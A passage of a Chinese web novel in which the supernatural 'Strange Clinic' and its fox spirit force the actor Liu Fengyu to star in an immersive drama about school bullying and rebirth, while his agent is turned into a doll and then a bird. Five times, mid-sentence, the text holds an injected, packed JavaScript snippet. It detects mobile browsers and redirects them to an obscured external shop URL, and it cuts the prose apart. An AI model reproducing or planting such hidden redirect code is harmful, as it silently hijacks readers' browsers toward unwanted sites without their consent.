“刘封羽最近在参加‘潜海少年’这个综艺活动,之后接档的好像是一部电影,挺火的题材,按理说他根本没时间来当‘怪奇诊所’的代言人,我合理推测,他只是蹭热度。”春渐满这两天跟追星达人相处下来,也懂了一些小九九。 “因为他的身价在那,不会有人觉得他是蹭热度,但现在‘怪奇诊所’的讨论度最高,他是明摆着觉得我们不会选他,他就跟风蹭了这个热度,毕竟他的粉丝以及大众都不会觉得他有所图谋,是真心实意的。” “同时这个曝光率也有了,也能为下一部电影造势。” “那我们岂不是被当剑使了。”不用春渐满再往下多说,独孤尽就已经看透了,“我岂能让他如愿。” “真以为我脾气好,只治有问题的人是吧?”独孤尽曲着指节,一下一下敲击桌面。 “就他了,你去他消息下留个言。”独孤尽排版敲定,只要人到了他手里,还愁他治不了吗? 刘封羽压根没想到经纪人给他提的这个搜主意真的会变成搜主意,他现在看着自己暴涨的粉丝量和评论数,一时间很想关闭评论功能。 不过,他就算关闭了评论功能,对方想找他也易如反掌,要掐死他也跟掐死一只小鸡崽一样容易。 “完了完了完了完了,我就说别蹭这个热度别蹭!你看我说什么!这下好了,我不仅要交违约金,还要被拉过去搓磨。”刘封羽西斯底里地抱住自己的脑袋,乱嚎一气。 “我不想被搓磨了,你没去过你不知道,要不你代我去?”刘封羽像抓住救命稻草一样抓住了经纪人的胳膊。 “你冷静一点,就算真的去当‘怪奇诊所’的代言人又有什么不好,你的演技大家有目共睹,经典的哪几部都是导演的功劳,碰不上好导演,你自己压根就演不出彩,与其去拍个风险巨大的电影,不如借着‘怪奇诊所’这阵风,再上一层。”这是新配给刘封羽的经纪人,先前陪刘封羽胡作非为的经纪人已经得到了制裁,这是公司后来给他派的金牌经纪人。 “你就想着再上一层,再上一层,你有没有想过,这种来路不明的组织,能不碰就不碰,容易引火烧身啊!”刘封羽现在无比想念之前那个帮他为非作歹的经纪人,起码听话,不会自作主张,而不像现在这位,只会控制他,帮他擅作主张。 “我们做什么了?大家都在蹭这个热度,人家想被选上还选不上呢,你选上了就好好配合,去把这个代言人的活干得漂漂亮亮,难不成‘怪奇诊所’还能明目张胆刁难你?”经纪人宽慰了刘封羽几句,他原先接刘封羽这个艺人时觉得他是大牌,能助他的事业更上一层楼,却没想到他只是运气比旁人好一点,要实力只有颜值,要脑子只有身材,相处起来并不痛快。 “你不懂你不懂你不懂!如果‘怪奇诊所’真的要我去做代言,你要全程跟着我!寸步不离!”刘封羽很想让这个不知道天高地厚的经纪人感受一下“怪奇诊所”的凶残 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688980|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但他其实也不是很确定,他现在再也没做恶事了,甚至连在心里想都不敢想,“怪奇诊所”也不能无缘无故将他怎么样吧。 “怪奇诊所”会选中刘封羽倒是让大众很满意,毕竟他在大众的印象里是个十足十的好人。 “九尾狐,去把人带来,要好好带。”之前给刘封羽做治疗的神兽就是九尾狐,让她去请,效果会更好。 “好的,阿尽,不过我要在外面玩半天,不然我就不去出任务了,好不好嘛。”九尾狐最喜欢去现世吃好吃的,她还有一些现世的朋友,估计是又要聚会了。 “就半天,给我把事情办妥。”独孤尽点了头,他转头跟春渐满勾了勾唇角,“待会儿我们就在一旁看着就行,都交给九尾狐。” 九尾狐得了命令,先是抒展了一下身体,幻化成了姿色出众的御姐模样,又埋怨起独孤尽。 “最近总是轮不到活,都没法出来溜达了,阿尽到底懂不懂有些店可是有季节限定的,倒时候吃不上又要等一年,还是要等复刻。” “这位美女,请出示工牌。”门卫打量了一眼九尾狐,觉得她长得实在妖孽,估计是公司新签约的艺人,不敢得罪,却也不敢随意放行。 “我来寻人的,稍等,我打个电话。”九尾狐冲门卫展颜一笑,拿出手机打通了刘封羽的电话。 刘封羽的手机不在他自己身上,被经纪人保管着,经纪人看到陌生号码根本没接,反手一个拉黑。 九尾狐看了看被强制挂断的手机,直接使用了能力,让这个电话无论如何都能打过去,且对方不论接还是不接,都会变成接通。 “刘、封、羽——” “你敢不接电话?” “你是谁?!你做了什么手脚,我明明拉黑了。”经纪人还没放下手机,就被里面的声音吓了一跳,差点把手机丢出去。 他翻着手机,发现是刚刚那通被他拉黑的陌生号码不知道为什么变成了接通状态。 现在的诈骗技术都这么高超了吗?! “你是他的朋友还是经纪人?”听出电话那头声音不对,九尾狐换了看起来比较正经的态度。 “我是刘封羽的经纪人,你是谁,如果是喜欢封羽的粉丝,我们封羽很感谢你的喜欢,但这种行为会让封羽受到惊吓,吓坏就不好了,没办法给你们出更多更好的作品。” “我呀,我是他……丈母娘,你让他出来见我,他把我女儿肚子搞大了,如果不能见到他本人,我就把这件事传到网上去。”九尾狐故意把声音变成了中年妇人,她演得不亦乐乎,却把旁边竖着耳朵的门卫给吓到了。 门卫缩缩脖子,总觉得自己离下岗不远了,他好像听到了什么不该听的。 “这是不是真的,你可以先去问问刘封羽,我呢,现在人就在你们大楼门口,问清楚了可要记得请我好好吃一顿。” 84. 经纪人变成布娃娃 刘封羽刚好人在公司,不然也不能被九尾狐逮个正着了,只不过现在他和经纪人面面相觑,两人都不相信对方。 “你确定没出去乱搞过?”经纪人知道有些明星艺人名气虽然大,但是人前人后那根本不是一个样子,他压根就不信刘封羽。 “跟你说过别去惹‘怪奇诊所’你不听,现在反而来质疑我!我跟你说,这绝对就是‘怪奇诊所’的人,只有他们才能神不知鬼不觉让你接通电话。”刘封羽毕竟在“怪奇诊所”进行过诊疗,他的直觉不会错。 经纪人看了一眼被他保持通话状态的电话不知道何时又变成了通话中,且没有静音,他不想再跟刘封羽争执,“你跟我下去。” “我不下去!我下去干什么?!要去你去。”刘封羽强烈挣扎,虽然知道自己的挣扎可能没什么用,但他还是不死心。 “刘、封、羽……你这个负心汉……”电话那头传来九尾狐幽幽的声音,像来索命的。 “我,我下去。”刘封羽立马认怂,他紧张地看了一下四周,最后只能抓着经纪人的胳膊,“你也下去。” “你必须时刻跟着我。”刘封羽继续警告经纪人。 经纪人此刻才终于真切地有了点后悔的感觉,可能“怪奇诊所”真的不是他能招惹的。 九尾狐在楼下等了又等,门卫现在都不敢看她了,已经眼观鼻鼻观心,看了其他任何一个方位就是没把注意力再落在九尾狐身上。 磨蹭了约莫十几分钟,就算换套衣服也绰绰有余了,刘封羽才跟经纪人不情不愿出现在了门口。 他大老远就察觉到了熟悉的感觉,一走近就发现,什么丈母娘,就是那“怪奇诊所”的人。 刘封羽认出来了,可经纪人还没把九尾狐和那个中年妇人的声音联系上,只是打量着九尾狐这个美人。 这么独特的气质,这么优渥的外形条件,怎么好像没在娱乐圈见过这号人。 正想着如果是还没被挖掘的新人,他倒是可以收了,这位美女就冲他们笑了笑。 那笑,有点太明目张胆地不怀好意了。 “姑奶奶,哪阵风把您吹来了。”刘封羽露出一个比哭还难看的笑。 他一向以阳光灿烂的笑容被大家喜欢,可纵使他的专业能力再强,在面对九尾狐的时候,他仍然绷不住脸上的表情。 经纪人也是头一次见到刘封羽这么丰富的表情,比他表演的时候有灵性多了。 “当然是你这个负心汉做了坏事,我才过来讨债来了。”九尾狐踩着恨天高极其有气势地逼近刘封羽,修长如刀的锋利指尖在他脖颈处划了划。 这个动作在旁人那看来可能是挑逗,可刘封羽却知道自己的命就在对方手里,自己这是被威胁了。 “姑奶奶,我能做什么坏事啊,这不是老熟人了,看到你们要招代言人,我就自告奋勇出一份力。”刘封羽在九尾狐面前真是半分男友力都使不出来。 他苦着一张脸,哀求九尾狐,极力表忠心。 “正是,我们封羽诚意十足,甚至可以不要代言费。”经纪人还没拎清,甚至提到了免费代言。 “我们缺这么点钱吗?刘公子。”九尾狐极其不悦,纵使是没被主人收服之前,她也从未缺过钱财。 钱财这种东西,不是她动动手指就会有人千倍万倍送上的吗? “不缺不缺,但我这次是报恩,肯定不会收代言费。”刘封羽瞪了经纪人一眼,他怕自己等会儿怎么死的都不知道。 “那你跟我来吧。”九尾狐说完,看了一眼经纪人,“他别来了。” “封羽是我的艺人,为了从旁协助他,我必须寸步不离。”经纪人还很硬气,他实在不懂刘封羽怎么谄媚成那样。 “寸步不离是吗?也不是不行。”九尾狐忽然玩味地笑了一下,她朝着经纪人那边点了点,经纪人瞬间变成了一个布娃娃。 “你拿着他,揣包里也行,挂裤腰上也行,我不想听见他发出声音。”九尾狐勾了勾手指,“走吧,刘公子。” 经纪人虽然变成了布娃娃,不能讲话也不能动,但他还能看到东西,也能思考事情。 这是最可怕的,而且他不知道自己有没有办法变回原样。 他试图发出声音,可他连嘴都是针线缝出来的,哪里能说话。 “好,好,都听您的。”刘封羽的额头上已经出了一大片薄汗,他把经纪人布娃娃捡起揣进了口袋里。 这下可好,经纪人连看都看不见了,更加憋屈恐惧了。 “请我吃这边最好的那家餐厅。”九尾狐没急着进“怪奇诊所”,她抿抿唇,舔了舔唇角。 “那家餐厅需要提前预定,这个时间恐怕……”刘封羽也想如九尾狐所愿,可他真没这个能力。 “没事,位置不用你操心,你只管买账就行。”九尾狐满不在乎,她手上可是有主人给他的餐厅卡,这家餐厅永远有一间包厢是留给主人的。 “买单,那,那是当然。”刘封羽很不想买单,那家店随便吃上一点就花费颇高,就算他是艺人,高收入,可他也不想这么挥霍。 尤其,这场灾祸本不该有的,都怪经纪人。 “你可是不情愿?”九尾狐冲着刘封羽露出一抹冷笑,让他请吃饭那是看得起他。 “没,没,我自然是愿意的。”刘封羽从口袋里拿出布娃娃擦了擦自己额头上即将滴落进眼里的汗水。 经纪人只觉得眼前晃得厉害,还什么都没看清就又恢复了黑暗。 刘封羽这王八蛋!等他变回人,看他不把他雪藏了! 九尾狐这顿吃得极其畅快,她本就不用担心减肥这种俗事,也不用担心自己吃不下这么多珍馐,但这可苦了刘封羽,他从一开始的心如死灰到最后麻木地跟着吃起来。 反正已经挥霍了这么多,再亏待自己的肚子就不划算了。 等他们吃饱喝足,九尾狐才说出来意,“你是不是想借‘怪奇诊所’的势给你再升几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688981|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番?” “冤枉啊,我哪里敢啊,我肯定没这个意思。”刘封羽赶忙否定,他真情实意,毕竟,这都是经纪人一人的想法,他是真没这些念头。 “看来你没说谎。”九尾狐能感知到刘封羽说的是实话,那这就很有意思了。 “是不是这布娃娃的问题?”九尾狐眯起眼睛盯着刘封羽鼓起来的口袋。 刘封羽立马就把经纪人出卖了,他从口袋里把被他擦过汗的布娃娃掏出来,“仙人明鉴,就是这家伙。” “看来,他颇有野心。”九尾狐用锋利的手指戳了戳布娃娃。 “只是不知道他有多大的野心,能不能撑得住我们的考验。” “问你话呢,说话。”九尾狐已经解开了布娃娃不能说话的禁制。 经纪人突然发现自己原本完全无法开口的嘴巴突然能动了。 “你别听他瞎说,我这,我这本来也是为了他好,也是想达成一次良好的合作。”他有野心不假,可这野心现在也可以没有,也不得不没有,他都被人玩弄于股掌之中了。 “当然,这会是一次良好的合作,对于刘公子的形象我还是很认可的。”九尾狐也是说瞎话眼睛都不眨一下的。 刘封羽听着却是冷汗直冒,他之前被诊治的时候,什么丑样都出过了,他还有什么形象可言吗? “这次招代言人本也不是什么大事,就是拍几部短剧,让他做主演就行。” “那其他的演员、剧务可需要我们这边……”经纪人话没说完,就被九尾狐打断。 “其他的我们这边包了,只要他这个主演配合。” “配合、配合!我一定配合!”刘封羽哪里敢不配合。 “我们一定配合,就是不知道能不能先把我变回去?”经纪人实在受不了自己保持个布娃娃的样子。 “这不行哦,要么你就别跟着刘公子了,要么你就保持这个样子。”九尾狐摇摇手指。 “封羽,你放我回去,我看‘怪奇诊所’很有诚意,你就放心拍戏,拍完了我来接你。”经纪人早就后悔了,他可不想跟这么怪异的组织扯上关系。 “你!我要经纪人陪着我,就让他以这种形态陪着我就行。”刘封羽才不放走经纪人,他们之前可是说好了的。 “行,反正他变成这样也不用吃饭也不用睡觉,多个人陪你,你也能更快入戏,配合我们把短剧拍了。”九尾狐打了个哈欠,饭也吃了,事情也聊完了,该回去了。 主人可不会让她在外多逗留。 可惜的是,这次没能约到她为数不多的几个好朋友出来一起吃饭,大家时间没凑上真是太可惜了,等刘封羽把戏拍完,非要让他再出出血不成。 电光火石间,刘封羽和经纪人就到了画里,刘封羽之前已经有过一次这种经历,他没那么害怕,但经纪人却觉得自己吓尿了,只不过他现在没尿而已。 “封羽,以后,出去以后,我听你的。”经纪人悔恨地叹了口气。 85. 短剧开拍 这次的拍摄并不是九尾狐全权负责,要让她上工需要付出太多,且每次都要去现世才能满足她,这样下去,不知道什么时候要出乱子。 即便九尾狐本身不惹事,冲着她那妖孽的外形条件,想惹她事的人可不会少。 作为神兽,她自然不可能在人类身上吃亏,那可不就得大乱了。 “封羽,这都是些什么……什么……”经纪人特别想问是什么东西,可他怕自己问出口像骂人,到时候再被听见了,那他肯定要遭殃。 “是‘怪奇诊所’的工作人员,你别怕,慢慢就习惯了。”刘封羽没说的是,该害怕的时候还没到呢。 “反正,你已经变成了这个样子,我就带着你,你少说话,最好尽量别说话,多说多错,到时候我也救不了你。”刘封羽又叮嘱了一番,他实在怕经纪人拖累自己。 “怪奇诊所”里有好几个人都认识刘封羽,一些是之前给他进行过诊疗的,还有一些是看过刘封羽演绎的作品的。 “主人不是要拍短剧吗,怎么找了刘封羽过来?他不是现在都只接电影了吗?” “你是没见过他在‘怪奇诊所’治疗吧,他之前作奸犯科的事干得可不少,特别畜生。” “那你说主人为什么要找个畜生过来代言拍剧?这不是损害我们的形象吗?” “嘿!你还有形象了,我们这不就都是妖魔鬼怪吗?” “别胡说,我们是正儿八经的神兽,跟那些妖魔鬼怪可不是一个级别的。” “行了行了,你们别看刘封羽人品不咋样,他在大众眼里那可是德艺双馨,主人找他那是再合适不过。” 神兽们的这些议论都没避开刘封羽,刘封羽已经许久没感受过这种被当面议论的感觉了,上次还是在“怪奇诊所”诊疗的时候,他遭受过太多让他不想再回忆的情况,可现在他不得不面对。 “刘封羽,你知道来了这里,你就不是普通的演员了吧?”鲛人上下打量着对方,刘封羽的经纪人被他挂在身上,此刻也打量着鲛人。 他发现来这里之后,见到好多很有特色的人,这些人的外部条件都不相同,但有一点是一样的,就是要么美要么俊。 他恨不能把这些人都收入囊中,只要简简单单包装个人设背景,就能立马出道,赚个盆满钵满。 刘封羽可没时间揣测经纪人心里的小九九,他现在正毕恭毕敬像在学校里对待老师一样,乖乖点头,乖乖做事。 基本上算是对方让他做什么,他就做什么。 “这是剧本,你熟读一下,把自己那部分台词背下来。”鲛人把本子给了刘封羽,他们拍戏可和普通的拍戏不一样,他们会直接把人物纳入场景里,把第一视角的经历复刻下来,变成影像。 鲛人简单扼要跟刘封羽点明了情况,刘封羽听后脸上一阵青一阵白,他极其想要拒绝,表示自己可以去外界组织个剧组,拍出来,拍的能和真的一样,大可以不要这么节约成本。 但他看了眼鲛人高大的身形,觉得自己难以抗衡,只能硬着头皮接过了剧本,只是这些字在他眼睛里闪过,却一个字也进不到脑海里。 终于在他把剧本从头到尾翻了三遍后,鲛人有点不满了,“你背完了吗?” “没……”他一个字都没看进去。 “能不能记住?” “能,能!当然能!”虽然只是一句简单的问话,可刘封羽却觉得万般沉重,这太恐怖了。 “你真能在这么短的时间里把台词背下来?”经纪人总算瞅着了机会说话,他知道自己手下艺人的能力。 刘封羽能背台词,但他仅仅是能背,起码得一个月,反复磨,才能把台词背熟,这会儿他才刚拿到剧本,怎么可能在这点时间里把台词记下来。 天方夜谭。 可就是这天方夜谭成为了现实。 刘封羽没回答经纪人,他沉下心刨除了杂念,认认真真又读了一遍,心中大概对这个故事有了个大概的印象,随后又重新再背起台词。 这次他记得很快,毕竟,他可是要亲生经历一遍的,只要在脑海里一模拟那些痛苦的事情,他就忍不住害怕。 这一害怕,印象就深刻了。 尤其是他在里面因为是主角,不仅要扮演男性,还要扮演女性,老人孩童都要扮演,因为整个剧本里有好几个小故事,他每次都是主角,每次主角的特征又各不相同。 经纪人在刘封羽读剧本的时候,也看了一遍剧本,他根本不敢想刘封羽能扮演这么丰富的人物,你要说大人老人都还能外部造型一下,但小孩? 他想象不了刘封羽扮演小孩的样子。 但很快,他就知道了。 鲛人第三次来问时,刘封羽终于把剧本合上,“可以了。” “你再不行,我就要跟主人汇报,让他找你要误工费了。” “给这么短的时间背剧本,还要算误工费?”经纪人实在没忍住吐槽了一句。 鲛人看了一眼刘封羽挂在腰间的东西,“你这东西太显眼了,没法带进去,换成别的吧。” 那手指只是在经纪人那布娃娃身上点了点,他就从布娃娃变成了一只小鸟。 “你可以飞,但飞到哪都跑不了,所以跟好他。”鲛人的心未免还是太善了些,他把禁忌透露出来,“以免回不去。” “啾啾啾啾——”经纪人已经无法口吐人言,毕竟,要拍戏,他们拍的也不是玄幻戏,这鸟能跟着一直飞在身边就够难得了,鸟吐人言那是绝对不能出现的画面。 刘封羽瞪了经纪人一眼,都让他别说话别说话,这下好了,连个私下商量的人都没了。 “啾啾啾啾——”任经纪人再怎么抗议也没用,他只觉得眼前一花,又是那熟悉的感觉。 晕得七荤八素后,他出现在了一个很奇特的场景。 这像是现实世界,但又不像现实世界。 独孤尽看了一眼画,他能透过画直接看神兽们的拍摄进度,现在他正捧着爆米花,喝着小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688982|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麦饮料,躺在沙发上,百无聊赖看那画里呈现的场景。 “春老师,喝一口。”独孤尽把手里的小麦饮料递给春渐满,春渐满不像他,他正端正地坐在沙发上,一看就是好人家。 “不是说刘封羽演技差吗?现在看起来还行。”春渐满还记得独孤尽跟他描述的刘封羽。 “兴许上次回去钻研了吧。”独孤尽又看了一眼画,重新接回小麦饮料灌了一口。 刘封羽哪里钻研过什么演技,他作为一个被校园霸凌的小孩,此刻正挨揍呢,那揍是真揍啊,那疼也是真疼啊,虽然他知道这里是精神世界,疼完回去他的□□不会受到伤害,但是这种精神伤害才最致命。 “饶,饶了我吧,我什么都愿意做。”刘封羽被揍得抱着肚子蜷缩在地上,对他拳打脚踢的也不是别人,是神兽们留存的之前被刘封羽险些害了的那些人的意识体。 这会儿得了演戏的机会,可不是有仇报仇有冤报冤吗? 那些拳脚都不用人教,落在刘封羽身上那叫一个真实。 刘封羽实在没出息,被揍得眼泪鼻涕一起流,脸上还糊了血,看起来特别惨。 “明天,把试卷给我们看,懂吗?”那些意识体念着台词。 刘封羽差点连台词都忘了,他只在疼,过了好一会儿,才咬着牙点了点头,“好,都听你们的。” 这一晚,刘封羽是带着伤回的家,被家里人一顿盘问后,他什么都没说出口,只说是自己不小心摔的。 因他扮演的这个角色是个无论在家里还是在学校都很优秀的学生,他不想老师和家人为他操心,而老师和家人即便想帮他,但他什么都不说,也无可奈何。 且人都是有惰性的,只要能拖就拖一拖。 可有些事拖不得,就像霸凌,有了一次就会有无数次,看中的就是受害者不会张扬的行事作风。 刘封羽这次扮演得很好,完全诠释了什么叫可怜之人必有可恨之处。 他的乖巧懂事,害了他自己。 那些欺凌者根本不会放过他,考卷被看了,还是要在放学后挨揍。 “明天开始,给哥几个带早饭。”而霸凌者正在一步步试探着受害者的底线,如果受害者没有底线,那他们会一再猖狂,毫无人性。 滋养恶魔何其容易。 刘封羽一边哭一边难过,他堂堂一线艺人,等这个播出去,所有人都会看到他屁滚尿流被揍得爹妈都不认识的样子,岂不是形象全毁了。 越想他哭得越委屈,越真切,里面还透露了点点软弱无能的恨。 “看不出来啊这小子,演技确实精进了不少。”独孤尽手里的爆米花都停了,看得他都对施暴者牙痒痒起来了,也开始期待后面受害者能不能崛起。 “春老师,你写的这个剧本,后面男主崛起了没有?有没有暴揍这些施暴者?!”独孤尽满眼好奇,已经迫不及待想要被剧透了。 春渐满看了他一眼,冷漠地吐出两个字,“秘密。” 86. 重生后的拿捏 刘封羽扮演的角色必然是要崛起的,不过按照短剧的套路,他得是死过一次之后才会崛起,刘封羽特别不想演到死的那一步,他现在就想崛起了,但他不敢不按剧本来。 他也不知道“怪奇诊所”是怎么拍摄的,如果不能中途停顿,那他只要犯一个错,就得完蛋,前面吃的苦得重新吃,一切要重新拍。 不光独孤尽和春渐满意外刘封羽的演技增长之快,其他神兽近距离跟刘封羽接触也感受到他跟之前的不同了。 也许有不得不保持职业操守的约束在,便让他脱胎换骨了。 “去,把咱们老师的汽车轮胎底下放个钉子。”有恶劣的学生拦住了刘封羽,给了他一盒图钉。 “别,别打我,我去放。”这会儿刘封羽扮演的受害者已经遭受霸凌整整一个学期的,他熬到了暑假前夕,却没想到,还要被拦下来让他做危害他人个人财产的事。 他小时候还真干过放钉子扎轮胎的事,但这回被人压迫着放图钉,他不能表现得那么轻车熟路。 这会儿刘封羽的演技就没那么好了,他表演出来的生疏怎么看怎么别扭。 他知道怎么放,这个图钉才能把轮胎扎破,他不想因为没放好失误了而重新拍,这放起来就格外地熟练。 “这段看起来一点也不像个好学生了,但他被搓磨了一个学期,心理上产生了点问题也正常。”独孤尽琢磨了一下,觉得还是不行,“得让观众觉得男主先前是纯善的,洁白的,只有这种纯善被人欺负到死,才会让人更加怜惜他,也会让现实中的人知道,一昧的善良是愚善。” “白死的死,对于其他人来说,可能就是茶余饭后的一阵意难平,但过段时间,也就想不起来了,而对于他们自己来说,却是白白损失了一条性命,对于他们的亲人来说,这是痛苦无比的。” “重生后的男主也不是纯恶,他只是用上了手段对抗恶势力,在其他方面,他仍是良善的。”春渐满终于还是给独孤尽剧透了一些。 “晚点让刘封羽重新拍一下刚刚那段。” 刘封羽根本不知道,原来他是可以中途暂停,重拍的,他还在那兢兢业业继续往后演戏。 他对剧本已经烂熟于心,知道这次的扎轮胎事件学校很快就会通过监控发现是他下的手,学校会把他逐出去,不让他继续就读,还会向他索要赔偿。 当然,他作为一个孩子,这些赔偿只能由家里人赔付,但男主的家人也是极其纯善的人,听说自己的孩子干出了这等恶事,咬着牙也要交赔偿,这时候,他们发现自己存起来的钱,不翼而飞了。 刘封羽虽说不是大富大贵,对上九尾狐那样的挥霍会比较捉襟见肘,但这边的赔偿并不多,也就几千块,可就是这几千块,把一家人难死了,他实在难以想象。 再往后,男主被赶出了家门,在小巷里被之前霸凌他的孩子群殴致死。 刘封羽浑浑噩噩扮演着,自从放完图钉确保轮胎被扎后,他的表演就着重在自己的魂不守舍上。 他之前只是单方面被霸凌,被欺负,始终是受害者,可这一次,他虽然是被迫的,但不可否认,变成了加害者。 他干了坏事。 刘封羽看了看蔚蓝天空上飘着的洁白云朵,再低头盯着自己的双手。 那上面虽还未染上鲜血,却已经黑了一片。 “哟,处理得还挺细腻。”独孤尽忍不住又夸了一句,他是真对刘封羽有所改观了,可见“怪奇诊所”有时候还挺有用。 刘封羽扮演的男主被殴打得全身是血倒在小巷时,他的眼里仍能看到一片天空,只不过及其狭窄,连一片白云也看不见。 “终于重生了,春老师,没想到你不仅破案厉害,还挺会写这种。”独孤尽夸起春渐满更是嘴像抹了蜜一样。 “平时写案件陈述写多了。”春渐满很擅长写这些,很多时候,办案没那么讲究,不然该抓到的犯人也会逃之夭夭,但提交资料的时候,又必须符合章程,写得多了,也就顺手了。 刘封羽是真的死了,也是真的重生了,所以他苏醒时的演技堪称一流,直接放在电影里都没有破绽。 那种刚醒来时的茫然被重生的喜悦代替,他重生在还未被欺凌的时候,彼时,他还是老师、家长眼中的乖孩子。 但他已经不是那个乖孩子了。 他可以对老师、家长,一切对他有善意的人乖,但对于面前这种拦住他去路,找了人要揍他的学生,他无需再乖。 重生后的刘封羽在书包里放了把水果刀,此时,被上辈子那群人围起来时,他眼底全是狠戾,用刀更是又快又准,一下就横在了这群霸凌者小头头的脖子上。 “我可跟你们不一样,平时从来不做这种事,手上没个轻重,你们要是再不往后退,我的刀说不定就要把这儿划破了。”刘封羽佯装手滑,刀刃在小头头脖颈处轻轻划出了一道血口子。 “退退退退退,都给我退了。”小头头立马认怂,毕竟虽然在行着恶事,可他说到底也是个学生。 刘封羽制衡着小头头走了一路,一直走到警察局门口,引起了警察注意,才放下了刀。 “你们是哪里的学生,小小年纪就会用刀打架了?!” 在这么多双眼睛的注视下,霸凌者纷纷低下了头,眼睛乱飘,试图逃跑,可他们的动作太过明显,根本骗不了警方。 一番调查,又是调监控又是单个审讯,才弄清楚事情始末,那拿刀的小少年还挺有勇有谋,但用刀就是不对的,把他单独叫过去训了半天,才让他回去。 至于其他霸凌者,则纷纷被通知了老师家长过来,作为重点对象,要求好好看管。 刘封羽这仇跟这帮霸凌者算是结下了,没等他们商量出什么办法对付他,他就自己找了上去。 这回,他依旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688983|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来单枪匹马。 “你小子还敢一个人过来?!算你有种,兄弟们抄家伙,给我往死里打!”战火一触即发,但刘封羽只是抬起头,信心满满地冲他们笑了笑。 随后,战场上就多出了几名警察,把他们手里的家伙都收缴了,且又带回了警局。 形势变得太快,这群霸凌者根本没时间反应,又一通教育后,再过了几天,刘封羽再次单枪匹马走进了他们秘密集会的地方。 “你怎么又来了?!我们可没想再对你做什么了,你又过来干什么?!”小头头想不通了,他就是随机挑了个好学生,这个好学生不是软柿子不好拿捏那他也不钻牛角尖,可这个好学生到底怎么想的,一而再,再二三来找他们。 “来看看你们是不是打算干坏事啊。”刘封羽说得轻飘飘,他像是变成了学校里的督查委员,说这话的时候他唇角又是那抹若有似无的笑。 “我们课间一起玩不行吗?真没打算干坏事!”小头头气恼地瞪着刘封羽,他倒是想干坏事,可事情还没说呢,这家伙就来了。 “一起玩,可以啊,带我呗,我也想跟你们一起玩。”刘封羽丝毫不惧,直接走了过去,坐在了他们中间,可以说是c位的位置。 “你!”小头头一时间说不出话来,甚至还往旁边挪了挪,给他让了个位置出来。 “来说说,打我们这些好学生会让你们有快感吗?心理畅快还是身上畅快?”刘封羽说一句就用手拍石头一记。 “凭什么老师就要对你们多照顾,整天对我们骂来骂去,对你们都是笑脸。”小头头冷哼了一声,他又往旁边挪了挪,让自己远离这个危险人物。 这就是个疯子,别等会儿又拿把刀横他脖子上,再跟警察说自己是被迫的,他们聚集的这个地方是之前好不容易找到的没监控的地方,现在倒是变成弊端了。 “老师对我们多照顾……这么跟你说吧,你本来一个月能拿三千块的工资,好学生能让你拿三千五,成绩差的、总捣乱的能让你拿两千五,你说你会对谁露笑脸?”刘封羽怕他们搞不清数字,拿了张纸把数字写上去。 “那他们也不能光用成绩看人吧!”小头头还挺有思想。 “你是光成绩不好吗?你平时还闯祸,我们班是不是因为你们几个经常被批评?”刘封羽可不让小头头离太远,他慢慢逼近,手指戳在他心口,“心坏了,还不允许别人给你臭脸?” “谁心坏了?!谁心坏了?!我只是想让兄弟们给你点教训,是你又动刀又叫警察的。” “既然不是读书的脑子,就干点儿好事,运动会多参加点项目,给班里挣荣誉的方式可不止成绩。”刘封羽不打算跟这些重生后还没把错犯到那种程度的人纠结还没发生的事。 毕竟,他可是因为自己即将要做,还没做的事被“怪奇诊所”狠狠诊治过,现在如法炮制治治这几个小孩,不在话下。 87. 属于你的能力 经过一次会谈后,霸凌小团体稍微收敛了些,主要收敛在,他们不会再把目标放在刘封羽身上,可仍旧贼心不死,即便刘封羽说得再有道理,他们也还是想作乱看看。 只要一想到那些好学生在他们面前毫无办法,只能屁滚尿流,他们就很畅快。 刘封羽毕竟是在演戏,他知道后面的剧本,也对这个剧本感到恐怖,哪有人安排反派每次都失败的。 刘封羽找了自己班和别的班里一些成绩好的学生,这些是精准定位,是之后霸凌小团体要对付的人。 “你们大概这几天会碰上……要记得这么做……”刘封羽把经验之谈交给其他学生。 